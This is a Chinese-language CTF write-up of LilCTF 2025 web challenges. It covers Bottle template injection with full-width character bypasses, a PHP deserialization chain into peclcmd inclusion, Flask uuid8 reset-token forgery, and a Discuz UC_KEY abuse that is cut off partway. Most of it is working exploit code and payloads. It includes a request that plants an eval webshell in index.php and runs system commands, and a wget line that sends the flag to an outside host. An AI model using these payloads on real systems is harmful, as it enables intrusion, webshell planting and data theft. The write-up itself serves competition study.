2025-LilCTF


ez_bottle

考点:abort回显+全角字符绕过open

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# 提示:flag在/flag路径下,可以尝试获取

# 上传文件存储目录
UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
# 确保上传目录存在
os.makedirs(UPLOAD_DIR, exist_ok=True)

# 静态文件目录
STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
# 最大文件大小限制(1MB)
MAX_FILE_SIZE = 1 * 1024 * 1024

# 黑名单关键词,防止恶意代码
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]


def contains_blacklist(content):
    """检查内容是否包含黑名单关键词"""
    return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
    """检查zip条目是否是符号链接"""
    return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000


def is_safe_path(base_dir, target_path):
    """检查目标路径是否在基础目录内(防止路径遍历攻击)"""
    return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))


@route('/')
def index():
    """返回首页"""
    return static_file('index.html', root=STATIC_DIR)


@route('/static/<filename>')
def server_static(filename):
    """提供静态文件服务"""
    return static_file(filename, root=STATIC_DIR)


@route('/upload')
def upload_page():
    """返回上传页面"""
    return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
    """处理文件上传"""
    # 获取上传的zip文件
    zip_file = request.files.get('file')
    # 检查是否是zip文件
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return '无效文件,请上传ZIP文件。'

    # 检查文件大小
    if len(zip_file.file.read()) > MAX_FILE_SIZE:
        return '文件大小超过1MB限制,请上传更小的文件。'

    zip_file.file.seek(0)

    # 生成唯一目录名
    current_time = str(time.time())
    unique_string = zip_file.filename + current_time
    md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
    os.makedirs(extract_dir)

    # 保存zip文件
    zip_path = os.path.join(extract_dir, 'upload.zip')
    zip_file.save(zip_path)

    try:
        with zipfile.ZipFile(zip_path, 'r') as z:
            for file_info in z.infolist():
                # 检查是否包含符号链接
                if is_symlink(file_info):
                    return '不允许包含符号链接。'

                # 检查路径安全性
                real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
                if not is_safe_path(extract_dir, real_dest_path):
                    return '检测到路径遍历攻击。'

            # 解压文件
            z.extractall(extract_dir)
    except zipfile.BadZipFile:
        return '无效的ZIP文件。'

    # 获取解压后的文件列表
    files = os.listdir(extract_dir)
    files.remove('upload.zip')

    # 返回文件列表和访问链接
    return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
                    files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")


@route('/view/<md5>/<filename>')
def view_file(md5, filename):
    """查看上传的文件内容"""
    file_path = os.path.join(UPLOAD_DIR, md5, filename)
    if not os.path.exists(file_path):
        return "文件未找到。"

    # 读取文件内容
    with open(file_path, 'r', encoding='utf-8') as f:
        content = f.read()

    # 检查黑名单内容
    if contains_blacklist(content):
        return "检测到恶意内容!禁止访问!!!"

    try:
        # 渲染文件内容(注意:这里使用模板渲染可能存在安全隐患)
        return template(content)
    except Exception as e:
        return f"渲染模板出错: {str(e)}"


@error(404)
def error404(error):
    """404错误处理"""
    return "bbbbbboooottle"


@error(403)
def error403(error):
    """403错误处理"""
    return "禁止访问:您没有权限访问此资源。"


if __name__ == '__main__':
    # 启动web服务
    run(host='0.0.0.0', port=5000, debug=False)

题目逻辑很简答,构造一个文件上传上传一个zip,zip里文件内容会被渲染,主要是怎么绕过waf。这题代码没给全,我本地测总是被404处理,非常难受,不知道是无回显还是回显,不过根据我之前打bottle的题目,打的是abort回显,

由于过滤了{}。所以肯定是用%来执行python代码,还过滤了命令执行的函数和一些符号,**导致传统的python代码执行与bottle内存马都不能打!**所以结合newstar的全角字符绕过的方法绕过open函数直接拿flag,这样就不用命令执行了。(一开始本来想8进制绕,但是不会,8进制会被转义,但不会执行)

2024newstar-web

1
2
3
4
5
6
'''
% from bottle import abort
% a = open('/flag').read()
% abort(404, a)
% end
'''

为了尝试更多的payload,写了一个全自动脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests
import zipfile
import re

url = "http://101.200.39.193:33007/"
upload_path = "upload"  # 添加上传路径

content = """
'''
% from bottle import abort
% a = open('/flag').read()
% abort(404, a)
% end
'''
"""

txt = "1.txt"
zip_filename = "1.zip"

def write_txt(txt,conent):
    try:
        with open(txt, 'w', encoding='utf-8') as f:
            f.write(content)
    except IOError as e:
        print(f"文件写入错误:{e}")
        exit()

def write_zip(zip_filename):
    try:
        with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as z:
            z.write(txt)
    except Exception as e:
        print(f"ZIP创建错误:{e}")
        exit()

def upload(file):
    try:
        with open(file, 'rb') as f:
            files = {'file': (file, f, 'application/zip')}
            res = requests.post(url + upload_path, files=files, timeout=10)
            res_text = res.text
            print("上传响应:", res_text)
            return res_text  # 返回响应文本以便后续处理
    except Exception as e:
        print(f"请求错误:{e}")
        exit()

def prin(res_text):
# 4. 提取MD5和文件名
    match = re.search(r"/view/([a-f0-9]{32})/([\w\-\.]+)", res_text)
    if not match:
        print("无法从响应中提取MD5和文件名")
        print("原始响应:", res_text)
        exit()

    md5, filename = match.groups()
    print(f"提取成功 - MD5: {md5}, 文件名: {filename}")

# 5. 查看文件内容
    view_res = requests.get(f"{url}/view/{md5}/{filename}")
    print("文件内容响应:", view_res.text)




# 主流程
write_txt(txt,content)          # 1. 创建文本文件
write_zip(zip_filename) # 2. 打包为ZIP
res_text = upload(zip_filename)  # 3. 上传ZIP文件
prin(res_text)

还一种方法是上传一个{{__import__('os').popen('cat /flag').read()}},然后将路径view修改为uploads,再写一个文件include包含% include("uploads/xxxxxx/payload")代码就不上了。

Your Uns3r

考点:__PHP_Incomplete_Class_Name绕过类名过滤+peclcmd包含

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        $ser = unserialize(serialize(unserialize($this->value)));
        if ($ser != $this->value && $ser instanceof Access) {
            include($ser->getToken());
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {#(这里弱比较给username赋值0也行)
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
    exit ("no way!!!!");#(wp说利用 PHP 类名大小写不敏感绕过Access,但是这里是&&,我admin绕过了后面就不需要绕了)
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

这是开始的题,直接利用16进制绕过变量名+filter链打完了(GC就去掉最后一个}就行,还有S+16进制绕过了$ser != $this->value,因为反序列化后再序列化S变s了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class User
{
    public $username="admin";
    public $value;
}

class Access
{
    protected $prefix;
    protected $suffix;


    public function __construct($prefix,$suffix){
        $this->prefix=$prefix;
        $this->suffix=$suffix;
    }

}

$a=new User();
$a->value=serialize(new Access("php://filter/","/resource=/flag"));

$b=serialize($a);
$b=str_replace("s:5:\"admin\";","S:5:\"\\61dmin\";",$b);
echo $b;
echo urlencode($b);

来看看题目改后的样子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        if (strpos($this->value, 'S:') === false) {
            $ser = serialize(unserialize($this->value));
            $instance = unserialize($ser);
            if ($ser != $this->value && $instance instanceof Access) {
                include($instance->getToken());
            }
        } else {
            throw new Exception("wanna ?");
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (stripos($ser, 'admin') !== false || stripos($ser, 'Access":') !== false) {
    exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");
1
2
3
4
题目作者改后
username强==admin,无伤大雅,一样直接绕,还加了一个if检测S:,没什么用,因为$this->value是序列化的Access,而其中并没有S:
作者后面还改了一下变为$this->prefix . 'lilctf' . $this->suffix.php’,这就有点麻烦了,这就必须按照作者的想法打pearcmd文件包含,但是复现环境没加php,但是接下来我们还是用pearcmd打打(因为复现环境flag在/readflag,前面的打法拿不到flag),由于pearcmd过滤了就用peclcmd代替
最后就是strpos改成stripos而且&&变为了||,大小写绕不过,那就用利用不完整类来让`__PHP_Incomplete_Class_Name` 的成员变为类名, 这样也会让两次反序列化结果不一致
image-20250906171043037

所以exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class User
{
    public $username="admin";
    public $value;
}

class Access
{
    protected $prefix="/usr/local/lib/";
    protected $suffix="/../php/peclcmd.php";


}


$b=new Access();
$b=serialize($b);
$b=str_replace('Access":2','Helllo":3',$b);
$b=substr($b,0,-1);
$b.='s:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}';


$a=new User();
$a->value=$b;

$c=serialize($a);
$c=str_replace("s:5:\"admin\";","S:5:\"\\61dmin\";",$c);
$c = substr($c, 0, -1);
echo urlencode($c);
1
2
3
4
5
6
POST /?+config-create+/<?=eval($_POST[0])?>+/var/www/html/index.php HTTP/1.1
Host: gz.imxbt.cn:20379
Content-Type: application/x-www-form-urlencoded
Connection: close

user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3BS%3A5%3A%22%5C61dmin%22%3Bs%3A5%3A%22value%22%3Bs%3A147%3A%22O%3A6%3A%22Helllo%22%3A3%3A%7Bs%3A9%3A%22%00*%00prefix%22%3Bs%3A15%3A%22%2Fusr%2Flocal%2Flib%2F%22%3Bs%3A9%3A%22%00*%00suffix%22%3Bs%3A19%3A%22%2F..%2Fphp%2Fpeclcmd.php%22%3Bs%3A27%3A%22__PHP_Incomplete_Class_Name%22%3Bs%3A6%3A%22Access%22%3B%7D%22%3B&0=system('/readflag');

发包2次就行(第一次将马写入index.php,也就是当前目录,然后当前页面有马就命令执行呗)

image-20250906173946768

Ekko_note

考点:利用uuid8伪造token+python起服务器伪造api+wget反弹shell

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2066/07/05 19:20:29
@Author  :   Ekko exec inc. 某牛马程序员 
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)


admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(20), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(60), nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')


class PasswordResetToken(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    token = db.Column(db.String(36), unique=True, nullable=False)
    used = db.Column(db.Boolean, default=False)


def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

with app.app_context():
    db.create_all()
    if not User.query.filter_by(username='admin').first():
        admin = User(
            username='admin',
            email='admin@example.com',
            password=generate_password_hash(admin_super_strong_password),
            is_admin=True
        )
        db.session.add(admin)
        db.session.commit()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        user = User.query.get(session['user_id'])
        if not user.is_admin:
            flash('你不是admin', 'danger')
            return redirect(url_for('home'))
        return f(*args, **kwargs)
    return decorated_function

def check_time_api():
    user = User.query.get(session['user_id'])
    try:
        response = requests.get(user.time_api)
        data = response.json()
        datetime_str = data.get('date')
        if datetime_str:
            print(datetime_str)
            current_time = datetime.fromisoformat(datetime_str)
            return current_time.year >= 2066
    except Exception as e:
        return None
    return None
@app.route('/')
def home():
    return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
    return {
        'server_start_time': SERVER_START_TIME,
        'current_time': time.time()
    }
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        email = request.form.get('email')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')

        if password != confirm_password:
            flash('密码错误', 'danger')
            return redirect(url_for('register'))

        existing_user = User.query.filter_by(username=username).first()
        if existing_user:
            flash('已经存在这个用户了', 'danger')
            return redirect(url_for('register'))

        existing_email = User.query.filter_by(email=email).first()
        if existing_email:
            flash('这个邮箱已经被注册了', 'danger')
            return redirect(url_for('register'))

        hashed_password = generate_password_hash(password)
        new_user = User(username=username, email=email, password=hashed_password)
        db.session.add(new_user)
        db.session.commit()

        flash('注册成功,请登录', 'success')
        return redirect(url_for('login'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        user = User.query.filter_by(username=username).first()
        if user and check_password_hash(user.password, password):
            session['user_id'] = user.id
            session['username'] = user.username
            session['is_admin'] = user.is_admin
            flash('登陆成功,欢迎!', 'success')
            return redirect(url_for('dashboard'))
        else:
            flash('用户名或密码错误!', 'danger')
            return redirect(url_for('login'))

    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    session.clear()
    flash('成功登出', 'info')
    return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'POST':
        email = request.form.get('email')
        user = User.query.filter_by(email=email).first()
        if user:
            # 选哪个UUID版本好呢,好头疼 >_<
            # UUID v8吧,看起来版本比较新
            token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
            reset_token = PasswordResetToken(user_id=user.id, token=token)
            db.session.add(reset_token)
            db.session.commit()
            # TODO:写一个SMTP服务把token发出去
            flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
            return redirect(url_for('reset_password'))
        else:
            flash('没有找到该邮箱对应的注册账户', 'danger')
            return redirect(url_for('forgot_password'))

    return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
    if request.method == 'POST':
        token = request.form.get('token')
        new_password = request.form.get('new_password')
        confirm_password = request.form.get('confirm_password')

        if new_password != confirm_password:
            flash('密码不匹配', 'danger')
            return redirect(url_for('reset_password'))

        reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
        if reset_token:
            user = User.query.get(reset_token.user_id)
            user.password = generate_password_hash(new_password)
            reset_token.used = True
            db.session.commit()
            flash('成功重置密码!请重新登录', 'success')
            return redirect(url_for('login'))
        else:
            flash('无效或过期的token', 'danger')
            return redirect(url_for('reset_password'))

    return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
    result = check_time_api()
    if result is None:
        flash("API死了啦,都你害的啦。", "danger")
        return redirect(url_for('dashboard'))

    if not result:
        flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
        return redirect(url_for('dashboard'))

    if request.method == 'POST':
        command = request.form.get('command')
        os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
        return redirect(url_for('execute_command'))

    return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
    user = User.query.get(session['user_id'])
    
    if request.method == 'POST':
        new_api = request.form.get('time_api')
        user.time_api = new_api
        db.session.commit()
        flash('成功更新API!', 'success')
        return redirect(url_for('admin_settings'))

    return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0")

简单审计一下代码,发现代码命令执行在/execute_command,但是需要过check_time_api()函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def check_time_api():
    user = User.query.get(session['user_id'])
    try:
        response = requests.get(user.time_api)
        data = response.json()
        datetime_str = data.get('date')
        if datetime_str:
            print(datetime_str)
            current_time = datetime.fromisoformat(datetime_str)
            return current_time.year >= 2066
    except Exception as e:
        return None
    return None

该函数通过调用当前登录用户的“时间 API”接口,获取远程时间,并判断该时间是否在 2066 年或之后。所以看到更新api的函数,但是发现需要admin权限。n

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
    user = User.query.get(session['user_id'])
    
    if request.method == 'POST':
        new_api = request.form.get('time_api')
        user.time_api = new_api
        db.session.commit()
        flash('成功更新API!', 'success')
        return redirect(url_for('admin_settings'))

    return render_template('admin_settings.html', time_api=user.time_api)

看半天,怎么搞到admin权限,发现还有忘记密码与重置密码这里可以利用,但是需要token。那就需要想办法伪造token了,仔细审源码,这里token是 uuid.uuid8() 函数生成的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'POST':
        email = request.form.get('email')
        user = User.query.filter_by(email=email).first()
        if user:
            # 选哪个UUID版本好呢,好头疼 >_<
            # UUID v8吧,看起来版本比较新
            token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
            reset_token = PasswordResetToken(user_id=user.id, token=token)
            db.session.add(reset_token)
            db.session.commit()
            # TODO:写一个SMTP服务把token发出去
            flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
            return redirect(url_for('reset_password'))
        else:
            flash('没有找到该邮箱对应的注册账户', 'danger')
            return redirect(url_for('forgot_password'))

    return render_template('forgot_password.html')

我们去翻一下uuid8的文档

https://docs.python.org/3.14/library/uuid.html

image-20250905174518319

意思就是默认情况下**uuid8()函数中的参数 abc是通过普通的伪随机数生成器(random.getrandbits())生成的,而非密码学安全的伪随机数生成器(CSPRNG)。**所以题目给的代码开头提示就有了作用

image-20250905175023405

这样我们就可以访问/server_info得到种子SERVER_START_TIME然后就可以预测token了。

1
2
3
4
5
6
7
@app.route('/server_info')
@login_required
def server_info():
    return {
        'server_start_time': SERVER_START_TIME,
        'current_time': time.time()
    }

所以伪造token的代码就是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import random
import uuid
random.seed(1754662952.3222806)
def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

print(uuid.uuid8(a=padding('admin')))

但是uuid8函数最少要python3.14版本以上,下载一下。Python 3.14官方版安装包下载 - 考拉软件,还是运行不了,就直接去找uuid8的源码,去https://github.com/python/cpython找,得到如下(看源码知道token完全由random.getrandbits()生成,也印证了之前说的我们可以预测出这个token了。)

image-20250905194656667

直接复制上去有点不对,ai改一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import random
import uuid

random.seed(1757072990.0011806)

def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: 
        byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

def uuid8(a=None, b=None, c=None):
    """Generate a UUID from three custom blocks.

    * 'a' is the first 48-bit chunk of the UUID (octets 0-5);
    * 'b' is the mid 12-bit chunk (octets 6-7);
    * 'c' is the last 62-bit chunk (octets 8-15).

    When a value is not specified, a pseudo-random value is generated.
    """
    if a is None:
        a = random.getrandbits(48)
    if b is None:
        b = random.getrandbits(12)
    if c is None:
        c = random.getrandbits(62)
    
    # Combine the bits into a 128-bit integer
    int_uuid = (a & 0xFFFF_FFFF_FFFF) << 80
    int_uuid |= (b & 0xFFF) << 64
    int_uuid |= (c & 0x3FFF_FFFF_FFFF_FFFF)
    
    # Set the version (8) and variant (RFC 4122)
    int_uuid |= (0x8 << 76)  # Version 8
    int_uuid |= (0x2 << 62)  # Variant 2 (RFC 4122)
    
    # Use the public constructor instead of _from_int
    return uuid.UUID(int=int_uuid)

# Test
print(uuid8(a=padding('admin')))

然后输入token重置密码,成功登入

image-20250905200320027

接下来就更新api

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def check_time_api():
    user = User.query.get(session['user_id'])
    try:
        response = requests.get(user.time_api)
        data = response.json()
        datetime_str = data.get('date')
        if datetime_str:
            print(datetime_str)
            current_time = datetime.fromisoformat(datetime_str)
            return current_time.year >= 2066
    except Exception as e:
        return None
    return None

观察这个年份是由data数据决定,就起一个api,提供json

1
{"date": "2067-01-01T00:00:00"}

image-20250905204905269

然后打

1
wget http://101.200.39.193:8090/$(cat /flag)

image-20250905212859767

非常难,出题人还说签到题,这uuid8的源码都找死我。

我曾有一份工作

扫描得www.zip,审计代码发现UC_KEY泄露,有了这东西就可以调用api接口

image-20250906223016195

题目提示flag 在 pre_a_flag 表里,说明目标就是在数据库,然后我们全局搜索UC_KEY

1
Get-ChildItem -Recurse | Select-String -Pattern "UC_KEY"		(在powershell打)

发现dbbak.php有点可能,审计一下

image-20250906214922921

这里使用UC_KEY生成的authcode进行权限认证。

image-20250906215251900

加密函数

image-20250906215452394

关键词搜authcode找到authcode`函数的实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
				return '';
			}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}

}

但是还是不能搞到数据库,继续审计发现method=export是可以得到sql,对apptype的检查,大致可以猜测出来这个API是个几个应用的通用的API,而核心使用的是Discuz X!,所以apptype应该是discuzx

image-20250906220945440

所以代码是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

define('UC_KEY', 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb');

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
        $ckey_length = 4;

        $key = md5($key ? $key : UC_KEY);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);

        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);

        $result = '';
        $box = range(0, 255);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }

        for($j = $i = 0; $i < 256; $i++) {
                $j = ($j + $box[$i] + $rndkey[$i]) % 256;
                $tmp = $box[$i];
                $box[$i] = $box[$j];
                $box[$j] = $tmp;
        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {
                $a = ($a + 1) % 256;
                $j = ($j + $box[$a]) % 256;
                $tmp = $box[$a];
                $box[$a] = $box[$j];
                $box[$j] = $tmp;
                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }

        if($operation == 'DECODE') {
                if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
                        return substr($result, 26);
                } else {
                                return '';
                        }
        } else {
                return $keyc.str_replace('=', '', base64_encode($result));
        }

}

function encode_arr($get) {
        $tmp = '';
